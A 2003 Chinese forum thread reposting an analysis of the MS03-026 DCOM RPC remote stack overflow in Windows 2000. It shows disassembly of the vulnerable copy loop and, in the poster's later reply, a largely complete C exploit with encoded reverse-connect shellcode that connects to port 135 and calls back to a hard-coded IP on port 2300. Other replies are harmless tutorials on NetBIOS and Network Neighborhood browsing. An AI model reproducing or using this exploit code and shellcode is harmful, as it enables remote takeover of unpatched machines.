LSD RPC 溢出漏洞之分析 (转自安全焦点)

sjdf 2003-07-29 11:54:57
/*************************************************************************
今天晚上去安全焦点,结果上不去了,去www.shopsky.com,发现好像是因为lsd漏洞分析这篇文章惹了祸,就去google搜了一下,国内的站点除了安全焦点只有绿盟发了lsd漏洞分析这篇文章,结果今天晚上绿盟也上不去了……难道因为这个……出了事么?
但是安全漏洞是不能遮遮掩掩的,正好小弟有收藏这篇文章,发上来给大家。
*************************************************************************/

--------------------------------------------------------------------------------

LSD RPC 溢出漏洞之分析
原始文档:http://www.xfocus.net/articles/200307/579.html
创建时间:2003-07-25
浏览次数:
原创:flashsky (flashsky1_at_sina.com)

转摘请注明作者和安全焦点
作者:FLASHSKY
作者单位:启明星辰积极防御实验室
WWW SITE:WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET,WWW.SHOPSKY.COM
邮件:flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com
感谢BENJURRY做测试,翻译和代码的通用化处理。
邮件:benjurry@xfocus.org

LSD 的RPC溢出漏洞(MS03-26)其实包含了2个溢出漏洞,一个是本地的,一个是远程的。他们都是由一个通用接口导致的。
导致问题的调用如下:
hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi);
这个调用的文件名参数(第5个参数,会引起溢出),当这个文件名超长的时候,会导致客户端的本地溢出(在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间,但是是用lstrcpyw进行拷贝的),这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在,在进行处理,因此由于建不了长文件,所以要利用这个溢出不能直接调用这个API,而是构造好包信息以后直接调用LPC的函数,有兴趣的可以自己去试。),我们来讲解一下远程的溢出。
在客户端给服务器传递这个参数的时候,会自动转化成如下格式:L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器,于是在远程服务器的处理中会先取出servername名,但是这里没做检查,给定了0X20(默认NETBIOS名)大小的空间,于是堆栈溢出产生了:
问题代码如下:
GetPathForServer:
.text:761543DA push ebp
.text:761543DB mov ebp, esp
.text:761543DD sub esp, 20h <-----0x20空间
.text:761543E0 mov eax, [ebp+arg_4]
.text:761543E3 push ebx
.text:761543E4 push esi
.text:761543E5 mov esi, [ebp+hMem]
.text:761543E8 push edi
.text:761543E9 push 5Ch
.text:761543EB pop ebx
.text:761543EC mov [eax], esi
.text:761543EE cmp [esi], bx
.text:761543F1 mov edi, esi
.text:761543F3 jnz loc_761544BF
.text:761543F9 cmp [esi+2], bx
.text:761543FD jnz loc_761544BF
.text:76154403 lea eax, [ebp+String1]《-----------写入的地址,只有0X20
.text:76154406 push 0
.text:76154408 push eax
.text:76154409 push esi 〈----------------------我们传入的文件名参数
.text:7615440A call GetMachineName
。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候,溢出点生效

GetMachineName:
.text:7614DB6F mov eax, [ebp+arg_0]
.text:7614DB72 mov ecx, [ebp+arg_4]
.text:7614DB75 lea edx, [eax+4]
.text:7614DB78 mov ax, [eax+4]
.text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C
.text:7614DB80 jz short loc_7614DB93
.text:7614DB82 sub edx, ecx
.text:7614DB84
.text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j
.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间,超过就溢出
.text:7614DB87 inc ecx
.text:7614DB88 inc ecx
.text:7614DB89 mov ax, [ecx+edx]
.text:7614DB8D cmp ax, 5Ch
.text:7614DB91 jnz short loc_7614DB84
.text:7614DB93

OK,我们现在就需要想法来利用这个漏洞,由于\\SERVERNAME是由系统自动生成的,我们只能利用手工直接生成RPC的包来实现,另外SHELLCODE中不能包含0X5C,因为这样判断就是\\SERVERNAME结束了。
下面就给出一个实现的代码,注意点如下:
1.由于RPCRT4,RPCSS中没有JMP ESP的代码,这里使用了OLE32.DLL中的,但是这可能是会重定位的,大家测试的时候
需要再确定或自己找一个存在的JMP ESP的代脉,我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。
2。这里使用了反向连接的SHELLCODE,需要先运行NC
3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系,因为不是整数的话,整个包的长度会有一些填充,那么
计算就不满足我这里给出的一个简单关系了,会导致RPC包的解析无效果。
4。在溢出返回前,返回地址后面的2个参数还会使用,所以需要保证是个内存可写空间地址。
5,这里是直接使用堆栈溢出返回的,其实大家也可以尝试一下覆盖SEH,这里就不再多讲了。
...全文
196 9 打赏 收藏 转发到动态 举报
写回复
用AI写文章
9 条回复
切换为时间正序
请发表友善的回复…
发表回复
sungod8 2003-09-10
  • 打赏
  • 举报
回复
谈谈NETBIOS与网上邻居的浏览
作者:佚名 发表于:2002-2-3 共阅读 331 次
有关网上邻居的问题,问的人一直比较多,在理解上存在的误区也普遍较为严重。鉴于Microsoft的

NETBIOS文档不是很细致,我四处收集了一些相关资料加上自己的实践经验写了这个系列,希望能对大家

有所帮助.
本来想为了增加可读性,把这个系列写成问答的形式,不过一时之间脑袋里也编不出这么多的问题,还

是按部就班先感性的对微软的浏览服务作一大致介绍,然后再深入剖析NETBIOS的具体工作机理,大家要是

有什么问题,可以提出来我们一起讨论.
计划分三部分来讲,微软网络浏览过程,深入NETBIOS剖析,以及网络设置详述
***微软网络浏览过程简介***
在“Windows NT系统管理技术内幕”一书中,讲到了一个非常具有代表性的问题,我把它摘抄了下来:

问:什么情况下会导致在网络邻居中计算机能看见却无法访问或可以访问却看不见?请选择最佳答案:

A.你的网络存在物理问题,比如网线 B.作为域主浏览器的Windows NTserver的浏览服务坏了 C.Windows

NTserver网卡有问题 D.你的网络没有问题,用户描述的是正常的微软浏览现象

正确答案:D

书上的解释:微软的网络浏览可能在使用中出现"中断",而实际上它们并没有中断, 这种误解是由于用户对

微软网络浏览的处理过程不熟悉造成的。

就象同学们经常在抱怨的“为什么别人的网上邻居可以用,我的却不行?”“为什么有时候可以浏览,有

时候却无法浏览网络?”解铃还须系铃人,让我们一起去看看微软的网络浏览到底是如何实现的。鉴于大

家可能对NT的“域”概念还不甚了解,出现浏览故障的也多为98的机子,我将以98的“工作组模式”为大

家讲解。

1.什么是浏览列表(Browsing List) 在微软网络中,用户可以在浏览列表里看到整个网络(何指?子网

还是广播域?大家可以考虑考虑)上所有的计算机。当你通过网上邻居窗口打开整个网络时,你将看到一

个工作组列表,再打开某个工作组,你将看到里面的计算机列表(也可在 DOS方式下用net view

/domain:workgroupname命令得到),这就是我们所说的 Browsing List。工作组从本质上说就是共享一

个浏览列表的一组计算机,所有的工作组之间都是对等的,没有规定不可以让所有的计算机同处于一个工

作组中。

2.浏览列表在哪里 曾在木棉上看到过一场争论,有人说:网上邻居里的计算机列表是广播查询得来的。

可有人举反例说:我的同学都关机了,可我还是能在网上邻居里看到它,应该是从HUB或交换机之类较为

固定的设备的缓存中取得的。 其实他们都只说对了一个方面,把他们二人的说法结合起来就是正确答案

了--- 浏览列表是通过广播查询浏览主控服务器,由浏览主控服务器提供的。

3.浏览主控服务器又是什么 浏览主控服务器是工作组中的一台最为重要的计算机,它负责维护本工作组

中的浏览列表及指定其他工作组的主控服务器列表,为本工作组的其他计算机和其他来访本工作组的计算

机提供浏览服务,每个工作组都为会每个传输协议选择一个浏览主控服务器,而我们经常遇到的无法浏览

网络的错误大多是因为你所处的工作组没有浏览主控服务器而造成的。你可以在一个工作组中用NBTSTAT

-a computername 命令找出使用NBT协议的浏览主控服务器,它的标识是含有\\_MSBROWSE_名字段。

4.浏览主控服务器是如何指定的 缺省情况下,win98工作组中的浏览主控服务器是该工作组中第一台启用

文件及打印机共享功能的计算机,也允许手工将一台win98计算机配置为浏览主控服务器(方法会在后面

讲述网络配置时具体介绍,但由于浏览主控服务器需要维护动态浏览列表,性能会受影响),如果一个工

作组中有多台计算机配置了这个选项,或是当前的浏览主控服务器关闭了系统,又没有其他计算机启用主

控设置时,就要进行主控浏览器的选举。

5.如何通过浏览器选举产生浏览主控服务器 关于浏览器的选举报文,不太好抓包,我就只好按书上的东西

来讲述了.其实过程很简单,首先由一台计算机发送一个选举临界报文,该报文包含了来自发送计算机的信

息(操作系统,版本及NETBIOS名等),选举报文向网络中广播,工作组中的每一台计算机都会用自身信息与选

举报文进行优先级比较,主要是操作系统起主要作用,记得好像是NT Server>NT Workstation>Win98>WFWG,

反正到最后是那个自身条件最好的成为新的浏览主控服务器.

6.整个网络浏览的过程是怎样的 当一台win98进入网络时,如果它带有服务器服务(启用了文件及打印机

共享)会向网络广播宣告自己的存在,而浏览主控服务器会取得这个宣告并将它放入自己维护的浏览列表

中;而没有在相应协议上绑定文件及打印机共享的计算机则不会宣告,因而也就不会出现在网络邻居里了

。当客户计算机想获得需要的网络资源列表时,首先会广播发出浏览请求,浏览主控服务器收到请求后,

如果请求的是本组的浏览列表,则直接将客户所需的资源列表发回;如果请求的是其它工作组的浏览列表

,浏览主控服务器会根据本身Browsing List中的记录找到相应工作组的主控浏览器返回给用户,用户可

从那里得到它想要的浏览列表。至于如何去和另一台计算机共享交换资源,就不是我们这里要讨论的问题

了。

明白了网络浏览的原理,下面我给大家讲一个有用的应用,现在很多同学出于安全的考虑都不太欢迎陌生

人通过网上邻居访问自己的机子,可有时下部电影又需要给认识的同学共享出来,因而还不能删除文件及

打印机共享服务。怎么办?有些人给共享名加个$,以达到隐藏的效果,可这用DOS下的net share是可被

看到的;有些人给共享加上密码,可听说这也是有办法破解的,而且很容易激起“黑客同志”的好奇心。

有没有办法将自己的机器在网络邻居里隐藏起来呢?而对于认识的同学可以让他用\\IP 来访问。想对了

,关键就是要阻止自己的机器向网络中去宣告自己,而且我知道我们其中的一些人已经将此变成了现实,

至于方法嘛,就不要来问我了。

注:因为有关win98浏览服务的资料很少,涉及的书籍也多为以NT的“域”模型进 行介绍,因而我只能根

据自己的理解结合netxray的实践来测试,细节部分难 免有错,欢迎大家指正。

7.在我的网上邻居里为什么有些机子访问不了 如果微软的网上邻居真能做到所见即所得,相信抱怨它的

人不会象现在这么多,可通过前面对浏览服务的介绍,大家已经知道这是不可能的,因为浏览列表的获得

不是通过访问其中每一台机子得到的,很多时候网络中的计算机并不能正确更新浏览列表。当一台计算机

正常关机时,它会向网络发出广播宣告,使浏览主控服务器及时将它从浏览列表中删除;而非正常关机后

,浏览列表里仍会把该条目保持很长一段时间(NT下是45分钟),这就是我们仍能在网络邻居里看到它的原

因.而98的稳定性是众所周知的 ----在还没来得及关机前就已经崩溃了^-^
sungod8 2003-09-10
  • 打赏
  • 举报
回复
*******深入NETBIOS剖析********
在这部分里,我首先将对NETBIOS作一些基础性的介绍,然后主要针对LANA编号, NETBIOS名字表,NBT这三方面对NETBIOS的特性进行讲解,使大家对NETBIOS接口通讯的原理有所了解,并掌握使用NETBIOS名字表来识别网上邻居浏览故障及其排除的方法。其中可能要借助一些网络命令,如net,nbtstat等,若有不会使用的同学请自行查阅windows帮助文档(最好看NT下的,98的有点渣渣),这里就不作解释了。
熟悉网络编程的同学都知道,在Windows下有两套重要的网络API,WINSOCK和 NETBIOS。平时我们用IE浏览网页,用FOXMAIL收发邮件以及用OICQ聊天用的都是 WINSOCK API,但还有一部分网络应用需要用到传统网络接口NETBIOS,浏览网上邻居和共享文件就是其中的典型。虽然微软已经在其最新的WINSOCK API里加入了对AF_NETBIOS地址族的访问,并打算从它的win2000中使对NETBIOS API的支持变成可选项,但NETBIOS的真正消亡还有待时日。这里我不想翻开NETBIOS厚重的历史去评判它的优劣来浪费大家的时间。存在即是真理,我们切入正题好了。 NETBIOS API的最大优点就是使得编程接口“与协议无关”---应用程序可通过TCP/IP,NetBEUI以及IPX/SPX来运行。
举个例子来说,如果你在网络属性里同时添加了这三种协议,那当你通过网上邻居浏览某台机子的资源时能确定用的是哪种协议在和它进行通信吗?不过由于这种“与协议无关”性是通过对传输协议本身进行改造,在相应协议上添加NETBIOS接口实现的,所以也就产生了一些局限性:
一是并非所有的协议都支持NETBIOS,我们知道的就只有上面提到的那三种协议实施了NETBIOS接口(也许在它们前面加个Microsoft标识更恰当些);
二就是我在前面提过的LANA编号的问题了,LANA号的提法在多宿主机环境下可能更准确些,对于我们一般只安装有一块网卡的机子来说大家就把它简单理解成一种通讯协议的对称性就可以了。
举个例子,A只安装了TCP/IP,B只安装了NetBEUI,虽然他们都在协议上绑定了NETBIOS接口,但彼此在网络邻居里是看不到的。这也提醒我们要想在网络邻居里看到最多的机子,就要把三个协议全部安装。为了后文叙述的方便,我们把启用了NETBIOS的三种协议分别用一个名字来表示:NetBT/NBT(TCP/IP)、Nbf(NetBEUI)、NwlnkNb(IPX/SPX),它们各对应一个 LANA号,只有相同的LANA号之间才能建立通信连接。
接下来要说的就是最为关键的NETBIOS名字的问题了。对于BSD系统,每台机器都有一个主机名,从而也引出了DNS的概念,这也可以说是UNIX和TCP/IP紧密结合的产物。而Windows可没有跟某种协议有近亲关系,在它眼里只有机器名(即NETBIOS名)才是最关键的。
在win32环境中,针对每个可用的LANA编号,每个进程都会为其维持一张NETBIOS名字表。我们可以用nbtstat -n命令获得本机与NBT相关的名字表(你要是连TCP/IP都没安,可别来问我为什么不能用)。NETBIOS 名字分两种类型:唯一名(UNIQUE)和组名(GROUP)。唯一名很好理解,就是说在同一子网上要独一为二(注意我这里没有用广播域,这在我的第三部分里我会结合以前的一些讨论详作说明);而组名的作用是可以实现多播数据通讯。结构上也由两部分组成:字符串和Scope ID。这里的字符串就是我们给自己的计算机、工作组起的名字,而且对所能使用的字符及其长度都有限制,大家自己去查书,我就不在这里浪费时间了,需要说明的是一些同学为了“隐藏”自己,把自己的机器名起的象个IP一样,如0.0.0.0(真不知是那位高人教大家的,呵呵)其实字符“."是不允许做机器名的,从这个角度讲win98真是太渣渣了(误导群众,怪不得老死机,该!)而NT在这方面做的就好多了。我主要讲解的是Scope ID域,它占用NETBIOS名的最后一个字节,最大的作用莫过于可以标识不同的Microsoft 网络服务了,因为它是NETBIOS名的一部分,因此UNIQUE name允许两台computername 相同,但scope ID不同的计算机在同一子网上存在。我不打算摘抄大段的NETBIOS 标识符给大家,这里就以我机子上的一个NETBIOS名字表为例给大家讲解一下常用的NETBIOS标识符类型:
C:\>nbtstat -n NetBIOS Remote Machine Name Table Name Type Status ---------------------------------------------
CJT <00> UNIQUE Registered
CJT<00>代表工作站服务,每一台上网的计算机必须首先注册的唯一标识符,这也是进行网络邻居浏览的唯一必要条件。在同一子网上的其它机子可以用ping CJT得到我的IP,注意这可跟DNS没有关系,是通过广播查询CJT<00>得到的,因为TCP/IP和NETBIOS有绑定。
MINEGROUP <00> GROUP Registered
这条没什么可说的,但凡把工作组名设成MINEGROUP的机子都会注册这一项,从而同一子网上的某些机子间建立一种特定的逻辑关联,使对于MINEGROUP<00>进行的通讯只被这些机子接收,这里大家可以考虑不在MINEGROUP的机子对这些报文的处理过程。虽说这一项是名字表里最不重要的一项,但大多数同学无法浏览网上邻居的故障却都和它有关哦!等会儿我会说明。还有大家可以想想,要是你的工作组名和别人的机器名起的一样会出现什么事情呢?
CJT <03> UNIQUE Registered CJT<03>代表消息服务,就是那个在win2000下突然弹出个窗口来说“某某某侵犯版权” 的东东。其实这是个挺好的服务,可以让我们用win9X下的WINPOPUP和winNT下的NET SEND 进行简单的消息传送。不过在NT下,CJT<03>只代表消息的接收端,要发送消息,还需注册一个CJT<01>,这也是NT第一次用net send发消息要等很久的原因,因为CJT<01>只在你用到net send时才会去注册;而9X下只用一个CJT<03>就把收发全搞定了。不过那个 WINPOPUP好象不能给自己发消息耶,真不知微软在搞啥子。
CJT <20> UNIQUE Registered 与CJT<00>相对照,CJT<20>代表服务器服务,我前面已经说过,凡是提供文件及打印机共享服务的机子就叫做SERVER,它会在入网时进行浏览器宣告,这也是一台机子可通过网上邻居“被”访问的唯一必要条件。
MINEGROUP <1E> GROUP Registered 还记得我前面说过的那个浏览器选举吗?我把<1E>标志称为候选者,这样当MINEGROUP组里的当前浏览主控服务器当机后,所有拥有<1E>标志的机子都有资格参加竞选。至于这个标志是怎么来的,记住一句话:SERVER完全同意作为默认的候选浏览主控服务器。关于这句话的理解,我后面将有一道题帮助大家认识它。
XIXI <03> UNIQUE Registered 咦?又一个<03>,这个XIXI是啥子东西?其实XIXI就是CJT的用户名了,就是那个登录提示框里的东西。使我们除了通过对方的机器名以外还可以通过他的用户名给对方发消息。不过要是和别人的名字发生了重复怎么办?会报冲突吗?不会。因为这个XIXI<03>是我们在按了回车车键以后才进行注册的。写到这里,不禁对以前那个ESC键的问题有所领悟,
原来所谓的登录网络就是干了这么一件事,那如果...如果...,企不是...呵呵,搞个测试先。
MINEGROUP <1D> UNIQUE Registered 这个<1D>想来大家都已经猜到了,就是表明CJT是MINEGROUP里的浏览主控服务器了,当 “领导”的感觉总是这么爽。嘻嘻
..__MSBROWSE__.<01> GROUP Registered 见过这个怪东西的人肯定不少,但真正知道它用途的恐怕不多。这是一个组名,由整个子网上的所有浏览主控服务器构成,这样当MINEGROUP里的机子想要浏览其他组的资源时,CJT就凭借这个标识为大家查找那个组的浏览主控服务器,从而使我们能获得该组的浏览列表。 基本的一些标识符类型就介绍完了,只要掌握了这些,解决常见的浏览器故障已是绰绰有余了,通过后面的一道习题大家可以实践掌握这种方法。对于还想进一步了解更多标识符类型的同学可以使用net start命令获知其它的微软服务,大多数服务都有一种标识符与其相对应。
MAC Address = 00-88-CC-23-15-54 前面POPO曾说过,使用nbtstat -A IP可以获知远程主机的MAC,至于原理,就是我们在这里最后要说的NBT了。现在大家已经知道,NBT就是建立在TCP/IP传送协议之上的NETBIOS接口,我们先将它与Nbf进行一番对比。Nbf指的是NETBIOS帧协议,以NetBEUI为基础,这可是真正的架构在链路层之上的协议哦,不过也因为它是在LLC上面,所以无法路由。只有借助一些可路由协议(如IP或IPX)才能实现跨广播域浏览因为TCP/IP发展最为迅速,最为普及,NBT也才受到大家如此的关注。
NBT提供的服务可以分成三类:名称服务(UDP137)、数据报服务(UDP138)和会话服务(TCP139)。 1)名称服务主要用于广播解决本子网的NETBIOS名和IP地址转换的关系,比如我前面那个 ping CJT的例子。因为NBT是建立在TCP/IP之上,而建立TCP/IP通讯是必须知晓双方 IP 地址的,这跟Nbf直接用MAC地址通讯很不一样。但也因为使用的是UDP广播,所以名称 服务无法跨越路由器。(这里我们只针对b-节点,不对WINS加以介绍) 2)数据报服务提供了无连接和面向广播的通信方式。它主要用于浏览列表通知,我前面也说过我们桌面上的那个网上邻居就是它构建的,此外我们用NET SEND *命令给计算机组发消息时也是靠它的UDP广播(多播)能力。但也正因为它使用了UDP传输层协议,因而在跨越路由器时也会遇到与名称服务相同的问题。 3)使用面向连接TCP协议的会话服务才是我们的救星,因为它可以跨越路由器。网络中产 生的NETBIOS通信主要也是因为会话服务的使用,而文件和打印机共享服务则构成了会话 服务通信的主体。
sungod8 2003-08-13
  • 打赏
  • 举报
回复
当我们在一个对等网中,也就是我们常见的一个98 网络中,当主机的数量多于一定的数量的时候,有时我们打开“网上邻居”的时候,速度会很慢很慢,(尤其在一个 2000 和 98 的混合环境中更为严重 )他不是故障,“网上邻居”的工作机理就决定了这个事实,当我们的机器启动的时候,首先会寻找网络中的一台机器——主浏览器,然后报告他自己存在于这个网络中,主浏览器通过维护一个“浏览表“来实现这个功能!主浏览表中维护一个可用的基于NETBLOS的资源列表,他其中会有NETBLOS名称到IP地址的映射,也就包含有我们所有的机器的信息。
如: COMPTER1   IP: 192.168.0.1
   COMPTER2   IP: 192.168.0.2
,普通客户机在主浏览器的主浏览表中加入自己,告诉他:“我来到了这个网络“我的NETBILOS 名字是COMPUTER1,IP是192.168.0.1,当你打开网上邻居的时候,首先通过广播来查找到“主浏览器”。 如果没有“主浏览器“或者主浏览器关机,则在网络中就会通过“选举“来推选出一个“主浏览器“,选举考虑的原则包括
1 操作系统
2 措做系统版本
3 计算机角色
(注意: 这个过程可能会很慢!!!! 尤其在一个2000 98 混合环境中,) 找到主浏览器后,在从主浏览器中得到一个备份浏览器的列表,  然后再从备份浏览器得到所有的列表(备份浏览器时主浏览器的备份,存储有浏览表的副本),----这时,你得网上邻居中就出现了所有的计算机!!
  知道了原理,我们就可以解释一些问题了: 例如:
1 有时候,明明计算机已经关了,但网上邻居上却有----浏览表没有更新。
2 所有的网上邻居重的机器不可访问----主浏览器死机,还没有选举出新的浏览器
3 某写网上邻居的机器不可用,是浏览表中的内容没有更新

如果使用windows 2000的朋友,就需要使用具有修改注册表权限的用户进行修改注册表了。默认情况下,在网上邻居中,甚至本地计算机中打开其它计算机也有一些时间的延迟,可以修改注册表,运行regedit,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RemoteComputer\NameSpace,删除下第二个主键id就可以了。
sink 2003-07-31
  • 打赏
  • 举报
回复
呵呵,懂的讲讲那些shellcode怎么出来得?又是怎么溢出得?
sungod8 2003-07-30
  • 打赏
  • 举报
回复
up,it's a good article
laker_tmj 2003-07-30
  • 打赏
  • 举报
回复
up learn
  • 打赏
  • 举报
回复
能看懂尽量看,看不懂的话最好还是先把基础打好!!!:)
sjdf 2003-07-29
  • 打赏
  • 举报
回复

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};

unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00"
"\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL,可能需要自己改动
"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址
//下面是SHELLCODE,可以放自己的SHELLCODE,但必须保证sc的整体长度/16=12,不满足自己填充一些0X90吧
//SHELLCODE不存在0X00,0X00与0X5C
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
"\x93\x40\xe2\xfa"
// code
"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"
"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"
"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"
"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"
"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"
"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"
"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"
"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"
"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

void main(int argc,char ** argv)
{
WSADATA WSAData;
SOCKET sock;
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short port1;
DWORD cb;

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}

addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
port1 = htons (2300); //反向连接的端口
port1 ^= 0x9393;
cb=0XD20AA8C0; //反向连接的IP地址,这里是192。168。10。210,
cb ^= 0x93939393;
*(unsigned short *)&sc[330+0x30] = port1;
*(unsigned int *)&sc[335+0x30] = cb;
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
//计算各种结构的长度
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}

len=recv(sock,buf1,1000,NULL);
if (send(sock,buf2,len1,0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
len=recv(sock,buf1,1024,NULL);
}

补丁机理:
补丁把远程和本地的溢出都补了,呵呵,这个这么有名的东西,我也懒得多说了。

补记:
